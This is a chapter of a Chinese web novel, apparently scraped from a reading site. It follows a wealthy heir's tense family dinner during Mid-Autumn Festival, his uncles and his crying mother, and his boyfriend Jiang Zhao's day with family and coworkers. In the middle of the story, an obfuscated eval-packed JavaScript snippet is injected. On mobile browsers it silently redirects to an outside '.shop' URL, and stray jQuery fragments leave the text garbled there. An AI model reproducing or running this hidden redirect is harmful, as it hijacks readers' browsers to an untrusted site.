44、
商濯亭语惊四座后,随即和商铭锦转移到露台上闲聊,主打一个眼不见为净。
商铭锦试探他,说:
“前一段时间,我听说一个事情……”
意思是搞建筑的一个老板先是被仙人跳,然后接着被龚家的小子收拾了一通,那个龚家小子就是龚自辉,
“……这个老板也是倒霉,刚被龚家小子收拾过,又被人搞,差点破产,后面求爷爷告奶奶才留点裤底下来。”
“你猜怎么着,他到最后都不知道是谁下的黑手搞他。”
商濯亭耐心听,脸上没什么表示。
商铭锦讲完,抬眼看商濯亭,满目的兴味:“前面都还好,就是最后这个操作,有点眼熟。”
商濯亭好笑:“眼熟什么?”
商铭锦也笑:“不想说?”
他下巴一抬,点商濯亭手机,“真没关系?”
商濯亭转手收起来手机,脸上的笑倒是没收:“不知道啊,不知道你说的是哪个。”
搁这儿和他打起哑谜来了,奈何商濯亭不肯说,商铭锦也没办法撬开人嘴,只能抬手指指他。转头又感慨难怪商濯亭这样,诙谐道:
“就我们家这状况,是个男人都得拴紧裤腰带。”女难太多。
商濯亭哼着笑了声:“也未必。”
商铭强这一辈有五个兄弟姐妹,两个姑姑,三个叔叔,加上他,就是六个。
商濯亭除了和商铭锦走得近,三叔二叔都不太亲近。
一是年龄相差大,二是老人言,龙生九子,各有不同。
商铭强那个德行有目共睹,商濯亭二叔有异心,瞧不上商铭强太正常不过,然而商濯亭掌家早,十六岁就出来了,压的商濯亭二叔一直翻不了天。
商濯亭三叔是个奇葩,这么多年,也天天在女人堆里打混,但不结婚不生孩子,到现在还是光棍一条。
商濯亭一说,商铭锦就明悟他说的就是三叔商铭云,编排道:“老三那种情况,应该是不行,生不出来。”
叔侄两个一起笑。
但其实商铭锦行为也够乖张的,痴长这么大,清心寡欲的,不管男女都不沾边。所以说,两个人能玩到一起。
商濯亭瞥一瞥商铭锦腰带以下,坏心道:“四叔你也小心点,别光说别人,说不定哪天这个评价就落到你头上。”
商铭锦笑骂:“臭小子,没大没小。”
聊这么一会儿,管家过来叫他们去餐厅吃饭,商濯亭和商铭锦说笑着往餐厅走。
除了商铭强和余琴,其他人都留下来吃饭。
商铭云看到商濯亭过来,桃花眼一笑,迎过来和商濯亭寒暄,说好久没见到商濯亭,又提到生意:“建中那个项目,我听说……”
商濯亭:“先吃饭,三叔,吃过饭我们聊。”
接着是商濯亭二叔和二婶,这俩夫妻站在旁边,说不上多热络,但对商濯亭,多少给几份脸面,脸上带笑,也提生意上的事,不过他们是兵分两路,一个和商濯亭说话,商濯亭二叔则是和商铭锦说话。
老爷子已经坐到主位上,敲敲筷子,等得不耐烦:“聊什么聊,先来吃饭再说,都不饿?”一家人“其乐融融”。
不过吃饭时候,商濯亭二婶还是提到了商铭强和余琴,意思是:“你不给大嫂面子,大嫂要哭的。”
“还有你爸那里,你真就打算不管呀?”
商濯亭笑了笑:“看来爷爷这里的饭是真不好吃,二婶居然还有心情惦记我家那边的事。”
商濯亭二婶讪讪:“我就问问么。”
商濯亭二叔打圆场:“吃饭吃饭。”
也不怪这对夫妻要问。
这么一大家子,老爷子早就甩手不管,留自己一份,该吃吃该喝喝,其余的说是几个子女分,但商濯亭家是长子长孙,再怎样,商商铭强和余琴进入家里集团的时间早,占据资源也多,偏偏守不住,其余兄弟眼红太正常不过。
然而歹竹出好笋,竟然半路杀出来一个商濯亭。自己另起炉灶不说,翅膀硬的别人啃都啃不动,家里也守得滴水不漏。所以商濯亭一回来放出来的话,震惊的不仅是自己爸妈,其他人也震惊。
震惊商濯亭居然这么好说话。
所以等吃过饭以后,闲磕牙消食时间,商铭锦也问了商濯亭这事到底怎么想的。
商濯亭说:“没想法。”
“我十一点多才到家,又不是铁打的,他们不关心我,还不允许我关心关心自己。”
商铭锦说:“那你这样甩手,大嫂肯定要找你闹的。”
商铭强那边,他们其实都不关心。毕竟是外面的人,好对付。
而且商濯亭丢下那句话以后,还给商铭强推荐自己的审计团队,外加无偿提供商铭强名下所有私生子女信息,主打一个“公平公正公开化”。都设立家族基金了,没道理其他人没有是吧。
当时听到商濯亭说:“我也得有吧?嗯?按年限算的话,是不是得往前补个十来年给我?”给商铭强说的,脸当场就黑了下来,还没办法拒绝。
商濯亭是他第一个儿子,他就是再偏心,大面场上也得过得去。
所以商濯亭提完,把自己的律师团队负责人、财务审计团队负责人的名片推送给他,当着他面打完两个电话,要人在什么时候去找商铭强聊这个事以后,商铭强就再也不提了,走得特别急,像是有狗在屁股后面追。
余琴是完全没想到儿子根本不和自己一条心,指望儿子和她同仇敌忾,把钱全部守住,没想到儿子太大方,大方到她才是个异类,先前放的狠话都成了屁话。
她倒是没走,但也不可能来和商濯亭他们吃饭,一个人跑走,去后花园坐着哭去了。
轰走自家爸妈,商濯亭本来提说出去吃,老爷子发话:“我这儿没饭给你吃是吧?”才把人留下来。
现在商铭锦旧事重提,其实也是摸不透商濯亭到底怎么想的,提醒商濯亭自家亲妈还在后花园里,别忘记去安慰安慰。
商濯亭也不藏着掖着,叹口气,嘴角勾出抹笑意,眸色深深,看着他四叔说:“四叔你真不考虑给我找个四婶?这份‘体贴’劲儿,搁哪个女人身上不让人迷糊。”
商铭锦笑骂他:“滚,少来这套。”
不过商濯亭也确实不能真不管他妈,意兴阑珊起身:“你们先聊,我去看看。”
几个叔叔都应声,让他去,早办完早解脱。
应付自家亲妈十多年,余琴有什么路数,商濯亭早烂熟于心。
无非就是哭,眼泪跟黄河一样,怎么淌都淌不干。
他来到后花园的时候,余琴正靠在秋千架上默默抹眼泪。
别说,这个姿势,对商濯亭真是特攻,他再铁石心肠,看到亲妈哭成这样,也难免心生波澜。
安慰是没办法安慰的,没有想法,能说的话都已经说尽了,说干了。
商濯亭抽出张纸巾递给余琴,也不出声,默默站到秋千架旁边等余琴伤心哭完。
老爷子的这个后花园是找人特别设计打理的,秋天依旧花繁锦簇,各色品质的菊花枝繁叶茂,大团大团的花朵争奇斗艳,哪里是君子花,分明是美人花,和牡丹比也不遑多让。
商濯亭赏着赏着就想起江昭。
给江昭一比一复刻过去,也造这么个秋千架给江昭玩,依江昭个性,绝对能玩出花来。
他都能想象出来江昭满脸的“哇”,围着秋千架绕来绕去打转的新奇样子。想到这里,又想起来江昭发给他的消息他还没回。
拿手机:-刚吃过
-还不睡午觉?
这个点,江昭肯定吃过饭躺床上去了,那么爱床的一个人。
江昭爸妈也不会让自己儿子到家以后冷锅冷灶,肯定第一时间给江昭找吃的。说不定江昭的好朋友也在,两个人还会窝一起聊天。江昭那身青青紫紫还不知道要引发什么误解。
不得不说,江昭一家真是满足商濯亭对一个恩爱美满家庭的全部幻想。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17857145|208844||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
走神着走神着,余琴情绪终于缓解过来,木愣愣坐着,后知后觉发现商濯亭。
也不能说后知后觉,她已经习惯每次家庭大战以后,商濯亭情愿站在旁边陪她,也不愿意出言安慰她一句的处理方式了。
这一次和往常若说要有区别,那就是时间节点
——中秋节
商濯亭没回家。再往前推,饭都没吃就走人。
她节前就拜托何庆佳打听商濯亭回不回来过节,导致最后小姑娘都躲着她。她大姐,也就是余佳也劝过她,要往前看,不要总沉迷于往事当中。
但她就是想不通,明明她什么都没做错,为什么全世界都在为难她。
出轨的不是她
搞出那么多私生子女的也不是她
她只想捍卫自己、自己儿子应得的东西
但连她的亲儿子都不站她,疏远她,劝她放弃
这个世界疯癫的令人看不懂。
余琴望着看不到尽头的远处,嘴唇蠕动:“这么多年,你从来没理解过我的苦心。”
商濯亭应了声嗯:
“彼此彼此,你也没理解过我。”
-
江昭发完消息,发现商濯亭没立即回复,就猜商濯亭在忙。
他睡不着,扭头看看熟睡的檀跃,轻手轻脚起床,偷偷打开父母房门瞧了眼,发现父母也在睡,就自己一个人跑到客厅看电视、玩手机游戏。
公司群里也有人@他,给他讲那个项目的情况。效果很不错,基本同预计一致。
江昭看到数据还挺高兴的,也不管是不是在放假,给群里发了二百块的红包。
他没以为这个时间点有人在,没想到刚发出去,邹瀚和傅斯图带头跳出来抢。
一个红包眨眼间抢完,点开一看,他手气居然最差,别人都几十几十的,就他几块钱。
邹瀚打趣:-江总这是慰劳我们
江昭装模作样:-嗯哼,等我真正坐上总裁宝座的
另外@邹瀚
-你这个真正的“总”不慰劳我们?
邹瀚转头@傅斯图
-这才是“总”
傅斯图立马出现,同样发了个二百的红包。
后面变成红包接龙,谁摸到金额最大谁发。不过金额没有二百这么大,相应降低到了十块,就图一个玩。
由于江昭手气实在逆天,他后来都没发过红包,被群里几个戏称他是来钓鱼的。
玩到下午三四点,檀跃和父母陆续起床,他才收手机,一家四口讨论晚上吃什么。
江昭担心父母和檀跃睡太多,提议出去吃,然后去附近古镇逛夜景灯展。
中秋节么,本来就是晚上节,古镇肯定有灯展的。
檀跃一激动,当即要去开车,让所有人坐他车去。
江昭让檀跃歇着:“你猜猜路上有多少车,你开得进去么?”
“乖乖跟我们腿走,好吧!”
檀跃切他:“你是不是坐惯豪车,看不起我的现代?”
江昭捶他:“你才是,你是躺习惯了是吧,懒死你,腿不用可以锯掉。”
江昭妈让他小心点,别伤到檀跃。
江昭爸就在一边笑。
一家人高高兴兴出门,吃吃喝喝逛逛,晚上八点才说笑回来。
楼下空位又停了车,一排车里,宝马的车标不算太显眼。还是檀跃瞟了眼系列的logo标,当即给江昭使眼色,江昭居然以为他眼睛抽筋,笑话他。
进楼道碰上出来夜走的邻居,江昭妈和江昭爸站定,跟人家说话,没几句就约好和人再出去走一圈。他们两个,加上邻居两个,刚进主干道又碰上其他出来的社区熟人,浩浩荡荡一大群人,有说有笑的。
秋风习习,正是散步聊天的好时候,江昭本来还想厚着脸皮跟上去。檀跃实在没忍住,一把将人揪回来,示意他看商濯亭那辆宝马。
江昭顿时一激灵,瞪大眼睛。
什么时候来的?